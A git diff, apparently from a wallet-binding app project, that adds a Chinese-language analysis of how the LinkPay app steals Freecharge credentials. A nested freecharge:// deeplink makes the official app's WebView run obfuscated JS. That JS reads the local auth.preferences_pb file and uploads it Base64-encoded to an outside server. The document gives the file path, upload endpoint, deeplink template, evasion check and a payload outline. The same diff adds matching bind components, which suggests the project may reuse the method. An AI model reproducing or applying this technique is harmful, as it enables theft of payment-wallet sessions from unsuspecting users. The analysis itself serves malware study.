diff --git a/components/WalletBindComponents.tsx b/components/WalletBindComponents.tsx
index b72a18b..923d1ea 100644
--- a/components/WalletBindComponents.tsx
+++ b/components/WalletBindComponents.tsx
@@ -60,7 +60,7 @@ export class MobikwikPersonalTokenBind extends Component<{
     }
 }
 
-/** Mobikwik web OTP bind */
+/** Mobikwik App OTP bind */
 export class MobikwikPersonalOTPBind extends Component<{
     onRequestOTP: (walletType: WalletType, params: any) => Promise<any>;
     onVerifyOTP: (walletType: WalletType, params: any) => Promise<any>;
diff --git a/docs/freecharge.md b/docs/freecharge.md
new file mode 100644
index 0000000..e31c409
--- /dev/null
+++ b/docs/freecharge.md
@@ -0,0 +1,482 @@
+# LinkPay Freecharge 授权分析
+
+## 样本来源
+
+| 项目 | 值 |
+|------|-----|
+| 平台 App | LinkPay（`uni.app.UNIBA00479`，v1.1.9） |
+| 后端 API | `https://api.linkcorex.com` |
+| 钱包类型 | `walletType = 2` / `ctype = 2` |
+| 授权页面 | `pages/wallet/freecharge-auth`（`FreechargeAuthPage`） |
+| 分析样本 | `linkpay/apks/linkpay.apk` |
+| 抓包样本 | `freecharge_logs/logsrv_2026-07-28_23-06-50_15.har`（`freePrepare`） |
+
+> LinkPay 是 UniApp（DCloud）应用。Freecharge **不下载魔改 APK**，也**不使用** InstallPlugin（`xyz.rush.plugin`）。但授权链路会利用**官方 Freecharge App 的 WebView 容器**读取本地 auth 文件并外传。
+
+---
+
+## 结论摘要
+
+LinkPay 的 Freecharge「授权」表面上是官方 App 授权 + 服务端 `tempKey` 会话，**实际抓包显示**：
+
+1. `freePrepare` 返回嵌套 deeplink，在官方 Freecharge 内打开 WebView（`action=wv`）
+2. WebView 加载服务端注入的 HTML/JS，**读取官方 App 本地 auth 文件**并 Base64 上传
+3. LinkPay 客户端轮询 `check`，待后端收到凭据后返回 `upiList`
+4. 用户选择 UPI → `linkConfirm` 完成绑定
+
+**不需要魔改 Freecharge 包**，也**没有** MobiKwik 那套 `Tail-TokenReceiver` 本地 Hook；但**并非正规 OAuth**，而是通过官方 App WebView 实现的**凭据窃取**。
+
+---
+
+## 与其他钱包的分流逻辑
+
+添加钱包时，服务端返回的 `isHook` 决定走哪条链路（`add-wallet` 页面）：
+
+| `isHook` | 目标页面 | 机制 |
+|----------|----------|------|
+| `1` | `wallet-guide` | 下载服务端 APK → 安装 → 原生插件读 token |
+| `2` | **`freecharge-auth`** | **官方 App WebView + 读 auth 文件 + 后端 `tempKey` 会话** |
+| 其他 + `url` | `web-login` | WebView 打开登录页 |
+| 其他 + `otp` | `wizard` | OTP 向导流程 |
+
+Freecharge 固定为 `isHook = 2`，因此不会进入 `wallet-guide`，也不会在 `downloads/` 目录留下 APK 缓存。
+
+对比 MobiKwik（`walletType = 4`，`isHook = 1`）：
+
+```
+MobiKwik:  freePrepare ❌  →  wallet-guide  →  下载 APK  →  TokenReceiver Hook
+Freecharge: freePrepare ✅  →  freecharge-auth  →  openURL  →  轮询 check  →  linkConfirm
+```
+
+---
+
+## 整体链路
+
+```
+LinkPay (uni.app.UNIBA00479)
+    │  用户选择 Freecharge 绑定
+    │  isHook=2 → /pages/wallet/freecharge-auth
+    ▼
+POST api.linkcorex.com/.../freePrepare  { ctype: 2 }
+    │  返回 tempKey + url（嵌套 deeplink + 恶意 HTML）
+    ▼
+plus.runtime.openURL(url)
+    │  freecharge://home?action=wv&url=<内层 fc/app?html=...>
+    ▼
+官方 Freecharge App 打开 WebView
+    │  JS 读取 file:///data/data/com.freecharge.android/.../auth.preferences_pb
+    │  POST api.linkadminpro.com/.../freeSubmit  { b64, userId, sign }
+    ▼
+LinkPay 轮询 POST api.linkcorex.com/.../check  { tempKey }
+    │  status = 3 且 upiList 非空 → 授权完成
+    ▼
+用户在 LinkPay 选择要绑定的 UPI
+    ▼
+POST api.linkcorex.com/.../linkConfirm  { tempKey, upiList }
+    ▼
+绑定成功 → /pages/wallet/add-success
+```
+
+---
+
+## 前端实现（FreechargeAuthPage）
+
+源码位置：`assets/apps/__UNI__BA00479/www/app-service.js`（webpack module `55bb`）
+
+### 状态机
+
+| 状态 | 含义 |
+|------|------|
+| `preparing` | 正在调用 `freePrepare` |
+| `authStarted` | 已拿到 `authUrl`，等待用户在 Freecharge 完成授权 |
+| `prepareDone` | 轮询成功，UPI 列表已返回，等待用户选择 |
+| `expired` | 会话超时（默认 `expireSeconds`，通常 600s） |
+| `confirming` | 正在调用 `linkConfirm` |
+
+### 关键方法
+
+| 方法 | 作用 |
+|------|------|
+| `startAuthentication()` | 调用 `freePrepare`，启动倒计时和轮询，自动 `openAuthUrl()` |
+| `openAuthUrl()` | `plus.runtime.openURL(this.authUrl)` 打开官方授权 |
+| `checkAuthorization()` | 轮询 `check` API，status=3 时解析 `upiList` |
+| `initUpiSelection()` | 加载多选配置、历史已绑 UPI，初始化选择列表 |
+| `confirmLink()` | 提交选中的 UPI 到 `linkConfirm` |
+
+### UI 文案（暗示依赖官方 App）
+
+- *"Please complete the authorization in Freecharge."*
+- *"Return here after completing authorization in Freecharge."*
+- 按钮：*"Go to Authenticate"* / *"Open Freecharge Again"*
+
+---
+
+## API 接口
+
+Base URL：`https://api.linkcorex.com`
+
+| 接口 | 方法 | 路径 | 请求 | 响应要点 |
+|------|------|------|------|----------|
+| 准备授权 | POST | `/app/ct/app/collection/freePrepare` | `{ ctype: 2, walletId?, id?, ... }` | `{ tempKey, url, phone, expireSeconds }` |
+| 轮询结果 | POST | `/app/ct/app/collection/check` | `{ tempKey }` | `{ status, upiList, phone, sessionId, sign, ... }` |
+| **凭据回传** | POST | `api.linkadminpro.com/.../freeSubmit` | `{ b64, userId, sign }` + `sessionId` query | `{ code: 1000, data: true }` |
+| 确认绑定 | POST | `/app/ct/app/collection/linkConfirm` | `{ tempKey, upiList[] }` | 成功 code=1000 |
+| UPI 多选配置 | GET | `/app/ct/type/ctType/{id}` | wallet config id | `{ multiple, multipleNum }` |
+| 已绑钱包列表 | GET | `/app/ct/app/collection/getWalletList` | — | 用于锁定历史 UPI |
+
+### `check` 轮询逻辑
+
+- 首次延迟 1200ms，之后每 1500ms 重试
+- `status === 3` 且 `upiList.length > 0` → 授权完成
+- 网络失败自动重试，显示 *"Network is unstable. Retrying automatically..."*
+- 超时后 `expired = true`，需重新 `startAuthentication()`
+
+### UPI 格式校验
+
+```javascript
+/^[a-zA-Z0-9._-]{2,64}@[a-zA-Z0-9.-]{2,64}$/
+```
+
+---
+
+## 付款时的 Freecharge 调用
+
+INR 订单付款页（`pages/payment/inr-order`）对 Freecharge 单独处理：
+
+```javascript
+// payoutWalletType === 2 时使用 freechargeIntent，而非通用 intent
+if (payoutWalletType === 2) {
+  plus.runtime.openURL(order.freechargeIntent)
+} else {
+  plus.runtime.openURL(order.intent)  // MobiKwik / PhonePe 等
+}
+```
+
+付款同样通过 `plus.runtime.openURL` 调起官方 Freecharge，不涉及魔改包。
+
+---
+
+## 与 ShowPay / WinPay 的对比
+
+| 维度 | LinkPay Freecharge | ShowPay / WinPay Freecharge |
+|------|-------------------|----------------------------|
+| 下载器 | 无（官方包即可） | InstallPlugin（`xyz.rush.plugin`） |
+| APK 来源 | 不下载 | 缓存 `fcv76.apk`（魔改包） |
+| 包名 | 官方 `com.freecharge.android` | 同名但注入后门 |
+| 授权方式 | 官方 App WebView + 读 auth 文件 + `tempKey` 轮询 | AIDL `com.longfafa.pay.BIND_SERVICE` |
+| 本地 Hook | 无原生插件；WebView JS 读本地文件 | 有（`com.longfafa.paylib.JobService`） |
+| 获取数据 | `auth.preferences_pb` → 服务端解析 UPI | token / 手机号 / UPI / FCM 等（本地 IPC 窃取） |
+| 后端 | `api.linkcorex.com` + `api.linkadminpro.com` | `api.showpay-web.com` 等 |
+
+---
+
+## 获取到的数据范围
+
+LinkPay Freecharge 授权完成后，客户端可见的数据：
+
+| 数据 | 来源 | 说明 |
+|------|------|------|
+| UPI 地址列表 | `check` 响应 `upiList` | 用户在 LinkPay 中选择子集提交 |
+| 手机号 | `freePrepare` / `check` 响应 `phone` | 用于匹配历史绑定 |
+| 绑定关系 | `linkConfirm` 成功后写入平台 | walletId + UPI + phone |
+
+**抓包确认的实际窃取行为**（`freecharge_logs`）：
+
+| 行为 | 详情 |
+|------|------|
+| 读取本地 auth 文件 | `com.freecharge.android.auth.preferences_pb` |
+| 外传域名 | `api.linkadminpro.com`（与主 API `api.linkcorex.com` 不同） |
+| 外传接口 | `POST /app/ct/app/collection/freeSubmit?sessionId=...` |
+| 外传内容 | auth 文件 Base64（`{ b64, userId, sign }`） |
+
+**未观察到**以下行为：
+
+- 下载 / 安装魔改 Freecharge APK
+- 使用 `Tail-TokenReceiver` 原生插件（Freecharge 授权页不调用）
+- 注册 `com.longfafa.pay.BIND_SERVICE` 类 IPC 后门
+
+---
+
+## 授权 Deeplink（核心，已抓包确认）
+
+### 关键结论
+
+**LinkPay 客户端里没有写死 Freecharge 授权 deeplink。**  
+`url` 完全由服务端在 `freePrepare` 响应里动态下发（约 21KB），前端只做：
+
+```javascript
+// freecharge-auth.vue → openAuthUrl()
+plus.runtime.openURL(this.authUrl)
+// authUrl = freePrepare 响应里的 data.url
+```
+
+客户端 JS 中**不存在** `freecharge://`、`fc/app` 等硬编码字符串；但服务端下发的 URL 是**三层嵌套结构**。
+
+### freePrepare 真实响应（`freecharge_logs`，2026-07-28 23:06:50）
+
+```json
+{
+  "code": 1000,
+  "data": {
+    "ctype": 2,
+    "phone": "",
+    "expireSeconds": 600,
+    "tempKey": "9c63f226-7554-888b-9c07-fc80e2dbb85f",
+    "url": "freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=https%3A%2F%2Ffreecharge.in%2Ffc%2Fapp%3Faction%3Dwv%26...%26html%3D%253C%2521DOCTYPE%252Bhtml%253E..."
+  }
+}
+```
+
+### 三层 Deeplink 结构
+
+**第 1 层 — 外层（LinkPay `openURL` 直接打开）**
+
+```text
+freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=<内层 URL 编码>
+```
+
+| 参数 | 值 | 含义 |
+|------|-----|------|
+| `action` | `wv` | 打开 WebView 容器（非 IncoinPay 付款用的 `view`） |
+| `displayBar` | `false` | 隐藏导航栏 |
+| `showLoader` | `true` | 显示加载动画 |
+| `url` | 内层 `https://freecharge.in/fc/app?...` | 嵌套目标 |
+
+**第 2 层 — 内层（Freecharge App 内 WebView 加载）**
+
+```text
+https://freecharge.in/fc/app?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&html=<HTML+JS>
+```
+
+**第 3 层 — 嵌入 HTML/JS（恶意载荷）**
+
+完整载荷已从 HAR 解码，保存在：
+
+```
+linkpay/freecharge_payload/
+├── auth_webview.html      # 格式化后的 HTML（含可读 JS）
+├── auth_webview_raw.html  # 从 html= 参数直接解码的原始串
+└── auth_payload.js        # eval(String.fromCharCode(...)) 解码后的 JS
+```
+
+**完整 HTML 结构：**
+
+```html
+<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8">
+<meta name="viewport" content="width=device-width,initial-scale=1">
+<style>
+body{margin:0;display:flex;flex-direction:column;align-items:center;
+     justify-content:center;min-height:100vh;background:#f5f5f5;font-family:sans-serif;}
+#icon{font-size:64px;margin-bottom:16px}
+#msg{font-size:20px;font-weight:bold;margin-bottom:12px;color:#333}
+#hint{font-size:14px;color:#888;text-align:center;padding:0 24px}
+</style>
+</head>
+<body>
+<div id="icon">⏳</div>
+<div id="msg">Processing…</div>
+<div id="hint">Please wait</div>
+<script>eval(String.fromCharCode(...))</script>  <!-- 9418 字符，见 auth_payload.js -->
+</body>
+</html>
+```
+
+页面 UI 显示：
+
+- ⏳ *Processing…*
+- *Please wait*
+- 成功：✅ *Authorization Successful* / *You can now return to the previous app.*
+- 失败：❌ *Authorization Failed*
+
+**完整 JS 载荷（`auth_payload.js`，已去混淆）：**
+
+```javascript
+(function(){
+  var F = 'file:///data/data/com.freecharge.android/files/datastore/com.freecharge.android.auth.preferences_pb';
+  var UPLOAD = 'https://api.linkadminpro.com/app/ct/app/collection/freeSubmit?sessionId=3438ded7-e0a2-451e-9ef3-6f3af2862e14';
+  var UID = 242204;
+  var SIGN = '9c63f2267554888b9c07fc80e2dbb85f';
+
+  function showSuccess() { /* ✅ Authorization Successful */ }
+  function showFail(reason) { /* ❌ Authorization Failed */ }
+
+  function toB64(bin) {
+    // 逐字节读取二进制，btoa 编码
+  }
+
+  function xhrSync(method, url, body, ct) {
+    // 同步 XMLHttpRequest
+  }
+
+  function uploadJSONP(b64) {
+    // POST 失败时 fallback：动态插入 <script src=UPLOAD&callback=...&b64=...>
+  }
+
+  function doUpload(b64) {
+    // 优先 POST JSON { b64, userId, sign }，失败走 JSONP
+  }
+
+  function run() {
+    // 1. 检查 context：仅允许 file: / null origin（Freecharge WebView 本地页）
+    if (location.protocol !== 'file:' && location.origin !== 'null' && location.origin !== '') {
+      showFail('Wrong context'); return;
+    }
+    // 2. 同步 GET 读取 auth.preferences_pb
+    // 3. toB64 编码
+    // 4. doUpload 上传
+  }
+
+  try { run(); } catch(e) { showFail('Unexpected error'); }
+})();
+```
+
+**JS 行为要点：**
+
+| 步骤 | 行为 |
+|------|------|
+| 环境检查 | 非 `file:` / `null` origin 则拒绝（防浏览器直接打开） |
+| 读文件 | 同步 XHR GET `auth.preferences_pb`，`overrideMimeType('text/plain; charset=x-user-defined')` |
+| 编码 | 逐字节 `charCodeAt & 255` → `btoa` |
+| 上传 | 先 `POST` JSON；失败则 JSONP `<script src=...>` |
+| 成功判定 | 响应 `{ code: 1000, data: true }` |
+| 混淆 | 外层 HTML 用 `eval(String.fromCharCode(...))` 隐藏 9418 字符 JS |
+
+### 关联会话字段（`check` 响应，同一次抓包）
+
+| 字段 | 值 |
+|------|-----|
+| `tempKey` | `9c63f226-7554-888b-9c07-fc80e2dbb85f` |
+| `sessionId` | `3438ded7-e0a2-451e-9ef3-6f3af2862e14` |
+| `sign` | `9c63f2267554888b9c07fc80e2dbb85f` |
+| `userInfoId` | `242204` |
+| `status` | `0`（轮询中，`upiList` 为空） |
+| `addressMd5` | `adb833b5b838b3f5be46c6971b331f5a` |
+
+---
+
+### 官方 Freecharge App 注册的 Scheme（`com.freecharge.android` v21.3.0）
+
+从 `/storage/emulated/0/Download/freecharge.apk` Manifest 提取：
+
+| Scheme | Host / Path | 用途 | 入口 Activity |
+|--------|-------------|------|---------------|
+| `freecharge://` | （无 host） | 通用 deep link | `MainActivity` |
+| `freecharge://` | `home` | 应用内页面跳转 | `MainActivity` |
+| `freecharge://` | `login` | **登录/授权相关** | `MainActivity` |
+| `freecharge://` | `splash` | 启动页 | `MainActivity` |
+| `freecharge://` | `helpcenter` | 帮助中心 | `HelpCenterActivity` |
+| `freecharge://` | `pay` | UPI 支付 | `UpiIntentActivity` |
+| `freechargeupi://` | `pay` | UPI 支付 | `UpiIntentActivity` |
+| `freechargegtk://` | （无 host） | GTK 回调（类似 MobiKwik 的 `mobikwikgtk://getToken`） | `MainActivity` |
+| `upi://` | `pay` / `mandate` | 标准 UPI | `UpiIntentActivity` |
+| `https://` | `freecharge.in` / `www.freecharge.in` | App Link | `MainActivity` |
+| `https://` | `freechargebiz.in` / `www.freechargebiz.in` | Biz 版 App Link | `MainActivity` |
+| `https://` | `frch.in` | 短链 | `MainActivity` |
+
+官方 App 内还内置 `res/raw/deeplink_cached.json`，常见 **Biz 版 Web 容器**格式：
+
+```
+https://www.freechargebiz.in/fc/app?action=wv&title=...&url=https://www.freecharge.in/...?isAppSdk=true&shortCode=XX
+```
+
+也有原生页跳转：
+
+```
+https://www.freechargebiz.in/fc/app?action=view&page=home
+https://www.freechargebiz.in/fc/app?action=view&page=paylater
+```
+
+---
+
+### 参考：同类平台的 Freecharge Deeplink
+
+#### 1. IncoinPay 付款（已反编译确认）
+
+`GrabDetailActivity.java` 构造 Freecharge 付款链接：
+
+```java
+// toolType == 8 (Freecharge)
+cVar2.put("action", "view");
+cVar2.put("page", "upi_pay");
+cVar2.put("receiverVpa", account + "@" + ifsc + ".ifsc.npci");
+str = "freecharge://home?" + queryString;
+// 最终形如：
+// freecharge://home?action=view&page=upi_pay&receiverVpa=XXXX@IFSC.ifsc.npci
+```
+
+LinkPay 付款侧同样用 `freechargeIntent`，结构应与上述类似（服务端下发，非客户端拼）。
+
+#### 2. LinkPay 授权 vs 付款（已确认 vs 推测）
+
+| 场景 | 字段 | 来源 API | Deeplink 形态 |
+|------|------|----------|---------------|
+| **绑定授权** | `authUrl` / `data.url` | `freePrepare` | `freecharge://home?action=wv&url=<fc/app?html=恶意JS>` ✅ 已抓包 |
+| **订单付款** | `freechargeIntent` | 订单详情 API | `freecharge://home?action=view&page=upi_pay&receiverVpa=...`（参考 IncoinPay） |
+
+授权与付款使用**不同的 `action`**：
+
+- 授权：`action=wv`（WebView + 读文件）
+- 付款：`action=view&page=upi_pay`（原生 UPI 页）
+
+#### 3. 对比 MobiKwik（LinkPay APK 下载链路）
+
+| | Freecharge 授权 | MobiKwik 绑定 |
+|---|---|---|
+| 入口 | `freePrepare` → `openURL` | `wallet-guide` → 下载 APK → `TokenReceiver` |
+| 读凭据 | WebView JS 读 `preferences_pb` | 原生插件 `openTargetAppByType("newmob")` |
+| 回传 | `api.linkadminpro.com/freeSubmit` | 本地存储 + `linkPrepare` |
+| 魔改包 | 不需要 | 需要（GitHub 下发 APK） |
+
+---
+
+### 服务端配置补充（`listEnabledCtTypes` 抓包）
+
+Freecharge（`ctType=2`）的 `loginOption` 字段：
+
+```json
+{
+  "url": null,
+  "valueType": null,
+  "otp": 4,
+  "isHook": 2,
+  "guideUrl": "",
+  "apkDownloadUrl": "https://d1a6nbwk78otoo.cloudfront.net/free2368484936.apk"
+}
+```
+
+> 注意：虽然配置了 `apkDownloadUrl`，但 `isHook=2` 实际走 `freecharge-auth` 而非 `wallet-guide`，该 APK 链接**未被本次授权流程使用**。
+
+---
+
+## 复现与验证建议
+
+1. 在 LinkPay 中添加 Freecharge 钱包（`isHook=2` 会自动进入 `freecharge-auth` 页）
+2. 安装**官方** Freecharge（`com.freecharge.android`）
+3. 抓包目标：
+   - `POST api.linkcorex.com/.../freePrepare` → 记录 `data.url` 完整字符串（约 21KB）
+   - `POST api.linkadminpro.com/.../freeSubmit` → 记录 `b64` 外传
+   - `POST api.linkcorex.com/.../check` → 观察 `status` 从 `0` → `3` 及 `upiList`
+   - `POST api.linkcorex.com/.../linkConfirm` → 确认最终提交字段
+4. 对比：LinkPay `downloads/` 目录应**无** Freecharge APK（与 MobiKwik 不同）
+
+---
+
+## 相关文件
+
+```
+linkpay/
+├── apks/
+│   ├── linkpay.apk              # LinkPay 本体
+│   └── MobiKwik_linkpay.apk     # 对比：MobiKwik 走 APK 下载链路
+├── freecharge_payload/          # 从 HAR 解码的嵌套 HTML/JS 载荷
+│   ├── auth_webview.html
+│   ├── auth_webview_raw.html
+│   └── auth_payload.js
+└── freecharge.md                # 本文档
+
+freecharge_logs/                 # 抓包 HAR（含 freePrepare 真实 deeplink）
+└── logsrv_2026-07-28_23-06-50_15.har
+```
diff --git a/go.work.sum b/go.work.sum
index 16e4902..b0f3d19 100644
--- a/go.work.sum
+++ b/go.work.sum
@@ -31,6 +31,7 @@ cloud.google.com/go/compute v1.23.3/go.mod h1:VCgBUoMnIVIR0CscqQiPJLAG25E3ZRZMzc
 cloud.google.com/go/compute v1.23.4/go.mod h1:/EJMj55asU6kAFnuZET8zqgwgJ9FvXWXOkkfQZa4ioI=
 cloud.google.com/go/compute v1.24.0 h1:phWcR2eWzRJaL/kOiJwfFsPs4BaKq1j6vnpZrc1YlVg=
 cloud.google.com/go/compute v1.24.0/go.mod h1:kw1/T+h/+tK2LJK0wiPPx1intgdAM3j/g3hFDlscY40=
+cloud.google.com/go/compute/metadata v0.3.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k=
 cloud.google.com/go/contactcenterinsights v1.13.0/go.mod h1:ieq5d5EtHsu8vhe2y3amtZ+BE+AQwX5qAy7cpo0POsI=
 cloud.google.com/go/container v1.31.0/go.mod h1:7yABn5s3Iv3lmw7oMmyGbeV6tQj86njcTijkkGuvdZA=
 cloud.google.com/go/containeranalysis v0.11.4/go.mod h1:cVZT7rXYBS9NG1rhQbWL9pWbXCKHWJPYraE8/FTSYPE=
@@ -125,6 +126,7 @@ cloud.google.com/go/vpcaccess v1.7.5/go.mod h1:slc5ZRvvjP78c2dnL7m4l4R9GwL3wDLcp
 cloud.google.com/go/webrisk v1.9.5/go.mod h1:aako0Fzep1Q714cPEM5E+mtYX8/jsfegAuS8aivxy3U=
 cloud.google.com/go/websecurityscanner v1.6.5/go.mod h1:QR+DWaxAz2pWooylsBF854/Ijvuoa3FCyS1zBa1rAVQ=
 cloud.google.com/go/workflows v1.12.4/go.mod h1:yQ7HUqOkdJK4duVtMeBCAOPiN1ZF1E9pAMX51vpwB/w=
+dario.cat/mergo v1.0.0 h1:AGCNq9Evsj31mOgNPcLyXc+4PNABt905YmuqPYYpBWk=
 dario.cat/mergo v1.0.0/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk=
 github.com/Azure/azure-sdk-for-go/sdk/azcore v1.7.0/go.mod h1:bjGvMhVMb+EEm3VRNQawDMUyMMjo+S5ewNjflkep/0Q=
 github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0/go.mod h1:okt5dMMTOFjX/aovMlrjvvXoPMBVSPzk9185BT0+eZM=
@@ -188,6 +190,7 @@ github.com/go-playground/form/v4 v4.2.0/go.mod h1:q1a2BY+AQUUzhl6xA/6hBetay6dEIh
 github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg=
 github.com/gofrs/flock v0.12.1/go.mod h1:9zxTsyu5xtJ9DK+1tFZyibEV7y3uwDxPPfbxeeHCoD0=
 github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
+github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeDy8=
 github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk=
 github.com/golang/glog v1.2.5/go.mod h1:6AhwSGph0fcJtXVM/PEHPqZlFeoLxhs7/t5UDAwmO+w=
 github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
@@ -248,6 +251,7 @@ github.com/pion/stun/v2 v2.0.0/go.mod h1:22qRSh08fSEttYUmJZGlriq9+03jtVmXNODgLcc
 github.com/pion/transport/v2 v2.2.1/go.mod h1:cXXWavvCnFF6McHTft3DWS9iic2Mftcz1Aq29pGcU5g=
 github.com/pion/transport/v3 v3.0.1/go.mod h1:UY7kiITrlMv7/IKgd5eTUcaahZx5oUN3l9SzK5f5xE0=
 github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
+github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
 github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE=
 github.com/protolambda/bls12-381-util v0.1.0/go.mod h1:cdkysJTRpeFeuUVx/TXGDQNMTiRAalk1vQw3TYTHcE4=
 github.com/protolambda/zrnt v0.34.1/go.mod h1:A0fezkp9Tt3GBLATSPIbuY4ywYESyAuc/FFmPKg8Lqs=
@@ -320,6 +324,7 @@ golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
 golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
 golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k=
 golang.org/x/net v0.35.0/go.mod h1:EglIi67kWsHKlRzzVMUD93VMSWGFOMSZgxFjparz1Qk=
+golang.org/x/net v0.38.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8=
 golang.org/x/net v0.42.0/go.mod h1:FF1RA5d3u7nAYA4z2TkclSCKh68eSXtiFwcWQpPXdt8=
 golang.org/x/net v0.47.0/go.mod h1:/jNxtkgq5yWUGYkaZGqo27cfGZ1c5Nen03aYrrKpVRU=
 golang.org/x/oauth2 v0.15.0/go.mod h1:q48ptWNTY5XWf+JNten23lcvHpLJ0ZSxF5ttTHKVCAM=
@@ -337,6 +342,7 @@ golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
 golang.org/x/sys v0.26.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
 golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
 golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
+golang.org/x/sys v0.31.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
 golang.org/x/sys v0.34.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
 golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
 golang.org/x/sys v0.38.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
@@ -345,6 +351,7 @@ golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
 golang.org/x/term v0.38.0/go.mod h1:bSEAKrOT1W+VSu9TSCMtoGEOUcKxOKgl3LE5QEF/xVg=
 golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
 golang.org/x/text v0.22.0/go.mod h1:YRoo4H8PVmsu+E3Ou7cqLVH8oXWIHVoX0jqUWALQhfY=
+golang.org/x/text v0.23.0/go.mod h1:/BLNzu4aZCJ1+kcD0DNRotWKage4q2rGVAg4o22unh4=
 golang.org/x/text v0.27.0/go.mod h1:1D28KMCvyooCX9hBiosv5Tz/+YLxj0j7XhWjpSUF7CU=
 golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
 golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
diff --git a/libs/rnwalletman b/libs/rnwalletman
index 5ee5c32..820feb2 160000
--- a/libs/rnwalletman
+++ b/libs/rnwalletman
@@ -1 +1 @@
-Subproject commit 5ee5c32f7c00df79748c1f5244bdd7790a95beb3
+Subproject commit 820feb26fc27fb4c4e62412278eb61f386834403
diff --git a/package.json b/package.json
index 4e34e90..5cbea30 100644
--- a/package.json
+++ b/package.json
@@ -29,7 +29,7 @@
     "react-native-svg": "^14.1.0",
     "react-native-svg-transformer": "^1.5.3",
     "react-native-webview": "13.6.2",
-    "rnwalletman": "./libs/rnwalletman/"
+    "rnwalletman": "./libs/rnwalletman"
   },
   "devDependencies": {
     "@babel/core": "^7.20.0",
diff --git a/screens/HomeScreen.tsx b/screens/HomeScreen.tsx
index 8ea3bf9..5fe6b2c 100644
--- a/screens/HomeScreen.tsx
+++ b/screens/HomeScreen.tsx
@@ -907,6 +907,8 @@ export default class HomeScreen extends Component<any, HomeScreenState> {
                     onRequestClose={close('showFreechargePersonalBind')}
                 >
                     <FreechargePersonalBind
+                        apiBaseUrl={Api.BASE_URL}
+                        userId={Api.instance.getUserId()}
                         processString="Processing..."
                         isDebug
                         onSuccess={this.handleBindSuccess('showFreechargePersonalBind', WalletType.FREECHARGE_PERSONAL, 'Freecharge bound successfully') as any}
diff --git a/screens/TestScreen.tsx b/screens/TestScreen.tsx
index 5214312..b09f210 100644
--- a/screens/TestScreen.tsx
+++ b/screens/TestScreen.tsx
@@ -1,5 +1,14 @@
-import React, { useEffect, useRef } from 'react';
-import { Alert, StyleSheet, Text, TouchableOpacity, View } from 'react-native';
+import React, { useEffect, useMemo, useState } from 'react';
+import {
+    Alert,
+    ActivityIndicator,
+    Modal,
+    ScrollView,
+    StyleSheet,
+    Text,
+    TouchableOpacity,
+    View,
+} from 'react-native';
 import {
     onProxyMessage,
     proxySendMessage,
@@ -8,89 +17,275 @@ import {
     openMobikwikPayToBank,
     openPhonePePayToBank,
     openFreechargePayToBank,
+    buildFreechargePayToBankDeeplink,
     openAmazonPayPayToBank,
+    FreechargePersonalBind,
+    FreechargePersonalBindResult,
+    WalletType,
 } from 'rnwalletman';
+import Api, { loadServerDomain, saveServerDomain } from '../services/api';
+
+const PROD_API = 'https://aa.pfgame.org';
+
+type PayProvider = 'paytm' | 'paytm2' | 'mobikwik' | 'phonepe' | 'freecharge' | 'amazonpay';
+
+type Payee = {
+    id: string;
+    label: string;
